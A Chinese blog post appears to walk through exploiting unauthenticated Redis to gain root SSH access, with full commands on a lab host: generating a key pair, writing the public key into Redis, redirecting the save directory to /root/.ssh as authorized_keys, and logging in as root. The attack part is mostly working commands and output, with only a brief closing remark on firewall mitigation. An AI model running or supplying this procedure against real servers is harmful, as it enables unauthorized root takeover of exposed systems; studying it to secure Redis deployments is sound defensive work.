• 欢迎访问小杰博客网站
  • 欢迎访问小杰博客网站哦

redis无授权访问漏洞结合ssh实现提权

黑客 小杰 5年前 (2018-08-29) 3233次浏览 已收录 0个评论

1. 漏洞概述(知道创宇)
Redis默认情况下,会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功在Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
默认redis启动的用户如果没有修改,会以root方式启动,这样就redis就可以在任意位置写入公钥文件,继而可以完成远程控制。

2. 漏洞利用原理
a. redis监听在外网的6379端口,且无密码访问
b. 连接redis,可以指定redis的配置文件路径
c. 连接redis,将公钥以key值的方式写入redis,并且保存为authoried_keys
d. 远程ssh无密码连接

3.漏洞利用过程
a. 目标主机:192.168.1.105
b. 攻击主机:192.168.1.100
c. 远程redis连接,查看一下当前keys

  1. tusmdeMacBook-Pro-9:ssh tusm$ redis-cli -h 192.168.1.105
  2. 192.168.1.105:6379> KEYS *
  3. (empty list or set)
  4. 192.168.1.105:6379>

复制代码

d. 生成公私钥文件

  1. tusmdeMacBook-Pro-9:/ tusm$ mkdir -pv /tmp/ssh
  2. tusmdeMacBook-Pro-9:/ tusm$ cd /tmp/ssh/
  3. tusmdeMacBook-Pro-9:ssh tusm$ ssh-keygen -t rsa
  4. Generating public/private rsa key pair.
  5. Enter file in which to save the key (/Users/tusm/.ssh/id_rsa): /tmp/ssh/id_rsa
  6. Enter passphrase (empty for no passphrase):
  7. Enter same passphrase again:
  8. Your identification has been saved in /tmp/ssh/id_rsa.
  9. Your public key has been saved in /tmp/ssh/id_rsa.pub.
  10. The key fingerprint is:
  11. 15:bc:01:d1:57:c9:c2:9a:60:c9:6c:fa:fe:f8:41:65 tusm@tusmdeMacBook-Pro-9.local
  12. The key’s randomart image is:
  13. +–[ RSA 2048]—-+
  14. |       oo*.. o.. |
  15. |        B +.+ o  |
  16. |       + ..*E.   |
  17. |      .  .+o     |
  18. |       .S .      |
  19. |        ..       |
  20. |       .  .      |
  21. |        .. .     |
  22. |        .oo      |
  23. +—————–+
  24. tusmdeMacBook-Pro-9:ssh tusm$ ls
  25. id_rsa      id_rsa.pub
  26. tusmdeMacBook-Pro-9:ssh tusm$ (echo -e “\n\n”;cat id_rsa.pub;echo -e “\n\n”) > kali.txt
  27. tusmdeMacBook-Pro-9:ssh tusm$ cat kali.txt
  28. ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuRr4Adw53lIw4bA0YIocJ56o2IUcPTXESIU4d/I6peQLH9XN+NrDcRUBixocr8mjpDssNaNW8LKrE+JvlrFGU3p93gnVDnj2jfhYSWGvx35u9+pokCCZmU40zq8rOx9Bo37v1klBCZ+95LFTugbNkkNJDjNA7WsJtouVxGCcyK7GfNsNaWgCRqJ3O55z/ie4XN/AC3Qj2Qh1DoannPeudIaH59Qa7k2NGbtzp98HIDhSZuXp9RqQ2wIicAgScKU9qpV7PSvhLj3H7AhHBM4Q+GY+/yz2oVdVnK24fAek4oJ6dkZK95na22Sf3y6mDUvuPaehKt6rYb5loekRbVBxz tusm@tusmdeMacBook-Pro-9.local
  29. tusmdeMacBook-Pro-9:ssh tusm$

复制代码

e. 将公钥以key值的形式写入redis

  1. tusmdeMacBook-Pro-9:ssh tusm$ cat kali.txt |redis-cli -h 192.168.1.105 -x set crackit
  2. OK
  3. tusmdeMacBook-Pro-9:ssh tusm$ redis-cli -h 192.168.1.105
  4. 192.168.1.105:6379> KEYS *
  5. 1) “crackit”
  6. 192.168.1.105:6379> GET crackit
  7. “\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuRr4Adw53lIw4bA0YIocJ56o2IUcPTXESIU4d/I6peQLH9XN+NrDcRUBixocr8mjpDssNaNW8LKrE+JvlrFGU3p93gnVDnj2jfhYSWGvx35u9+pokCCZmU40zq8rOx9Bo37v1klBCZ+95LFTugbNkkNJDjNA7WsJtouVxGCcyK7GfNsNaWgCRqJ3O55z/ie4XN/AC3Qj2Qh1DoannPeudIaH59Qa7k2NGbtzp98HIDhSZuXp9RqQ2wIicAgScKU9qpV7PSvhLj3H7AhHBM4Q+GY+/yz2oVdVnK24fAek4oJ6dkZK95na22Sf3y6mDUvuPaehKt6rYb5loekRbVBxz tusm@tusmdeMacBook-Pro-9.local\n\n\n\n”
  8. 192.168.1.105:6379> CONFIG GET dir
  9. 1) “dir”
  10. 2) “/var/lib/redis”
  11. 192.168.1.105:6379> CONFIG set dir /root/.ssh/
  12. OK
  13. 192.168.1.105:6379> config set dbfilename “authorized_keys”
  14. OK
  15. 192.168.1.105:6379> save
  16. OK
  17. 192.168.1.105:6379> CONFIG set dir /var/lib/redis
  18. OK
  19. 192.168.1.105:6379> save
  20. OK
  21. #这样就把公钥写进受害者主机的/root/.ssh下,并且名称为authorized_keys,了解ssh的都会知道,这样我们就完成了远程无密码访问。

复制代码

f. 远程登录

  1. tusmdeMacBook-Pro-9:ssh tusm$ ssh -i id_rsa root@192.168.1.105
  2. Last login: Sun Jun  5 08:55:10 EDT 2016 from 192.168.1.100 on pts/2
  3. Linux kali 4.3.0-kali1-amd64 #1 SMP Debian 4.3.3-7kali2 (2016-01-27) x86_64
  4. The programs included with the Kali GNU/Linux system are free software;
  5. the exact distribution terms for each program are described in the
  6. individual files in /usr/share/doc/*/copyright.
  7. Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
  8. permitted by applicable law.
  9. root@kali:~#

复制代码

备注:这里redis漏洞之所以能够利用成功,一是无授权访问,而是以root用户运行,这样就可以跳过猜执行用户,而直接将公钥些人root下面,如果是以普通用户当然也能猜到,但是会耗费很大的力气。而且如果默认运行的用户是没有登录权限的,也是无法利用成功的。还有,即使这些条件都满足,但是我们做了防火墙策略,只允许某些IP地址登录,也是可以避免这种提权的,只是redis服务器的数据可以任意更改。


小杰博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:redis无授权访问漏洞结合ssh实现提权
喜欢 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址